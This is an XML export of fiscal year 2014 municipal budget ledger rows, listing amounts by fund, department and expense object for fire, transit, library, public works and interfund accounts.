<row _id="13018"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1825.0</july><august>0</august><september>0</september><october>0</october><november>525</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2350.0</total></row>
<row _id="13019"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>522920.0</object><object_description>VEHICLES - REPAIRS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10455.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10455.0</total></row>
<row _id="13020"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>34423.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>34423.0</total></row>
<row _id="13021"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>77268.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>77268.0</total></row>
<row _id="13022"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>77481.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>77481.0</total></row>
<row _id="13023"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4374800.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>424543.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4799343.0</total></row>
<row _id="13024"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4182.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4182.0</total></row>
<row _id="13025"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>544193.0</object><object_description>CLEANING SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>222123.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>222123.0</total></row>
<row _id="13026"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>555011.0</object><object_description>OUTSIDE REPAIRS - BUSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1320344.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1320344.0</total></row>
<row _id="13027"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>555012.0</object><object_description>OUTSIDE REPAIRS - SERVICE VEHC</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>40898.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>40898.0</total></row>
<row _id="13028"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511979.0</object><object_description>MEDICAL EXAMS</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>20000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20000.0</total></row>
<row _id="13029"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522045.0</object><object_description>PAYOUTS FOR UNINSURED PL/PD</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2500000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2500000.0</total></row>
<row _id="13030"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522624.0</object><object_description>JOINT FACILITIES RENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>30750.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>30750.0</total></row>
<row _id="13031"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>15586535.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15586535.0</total></row>
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<row _id="13033"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2614.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2614.0</total></row>
<row _id="13034"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>101000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>1912.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>102912.0</total></row>
<row _id="13035"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401220.0</object><object_description>REC-PARK BUILDING RENTAL</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2014</fiscal_year><july>-153371.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-153371.0</total></row>
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<row _id="13037"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4940.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4940.0</total></row>
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<row _id="13039"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1100.0</total></row>
<row _id="13040"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>140300.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>140300.0</total></row>
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<row _id="13042"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1995.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1995.0</total></row>
<row _id="13043"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>27265.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>27265.0</total></row>
<row _id="13044"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544170.0</object><object_description>UNIF/PROTECIVE CLOTHING</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6200.0</total></row>
<row _id="13045"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>107595.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>107595.0</total></row>
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<row _id="13047"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3075.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3075.0</total></row>
<row _id="13048"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2146.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2146.0</total></row>
<row _id="13049"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>25.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>25.0</total></row>
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<row _id="13051"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>305.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>305.0</total></row>
<row _id="13052"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>16832.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16832.0</total></row>
<row _id="13053"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>20899.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20899.0</total></row>
<row _id="13054"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>39900.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>39900.0</total></row>
<row _id="13055"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522920.0</object><object_description>VEHICLES - REPAIRS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>20000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20000.0</total></row>
<row _id="13056"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>21162.5</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>21162.5</total></row>
<row _id="13057"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>533210.0</object><object_description>BLDG OPER / CUSTODIAL SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>36100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>36100.0</total></row>
<row _id="13058"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>91540.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>91540.0</total></row>
<row _id="13059"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>37385.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>306.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>37691.0</total></row>
<row _id="13060"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>844.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>119224.45</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>119224.45</total></row>
<row _id="13061"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>52294.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>52294.0</total></row>
<row _id="13062"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>139396.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>1568.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>140964.0</total></row>
<row _id="13063"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>32737.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>32737.0</total></row>
<row _id="13064"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>842.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1042787.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1042787.0</total></row>
<row _id="13065"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>566060.0</object><object_description>INTEREST EXPENSE</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6000.0</total></row>
<row _id="13066"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>588030.0</object><object_description>COMPUTER EQUIPMENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6898.39</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6898.39</total></row>
<row _id="13067"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>544240.0</object><object_description>PROP C REIMBURSEMENT</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-20000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-20000.0</total></row>
<row _id="13068"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577500.0</object><object_description>TRANSFERS FROM / TO FUND</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-146646.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-146646.0</total></row>
<row _id="13069"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578300.0</object><object_description>SUPPORTIVE HOUSING PROGRAM</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-113192.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-113192.0</total></row>
<row _id="13070"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>544240.0</object><object_description>PROP C REIMBURSEMENT</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>20000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20000.0</total></row>
<row _id="13071"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570250.0</object><object_description>GEN FD REIMBURSEMENT FROM PIER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>192038.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>192038.0</total></row>
<row _id="13072"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5646.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5646.0</total></row>
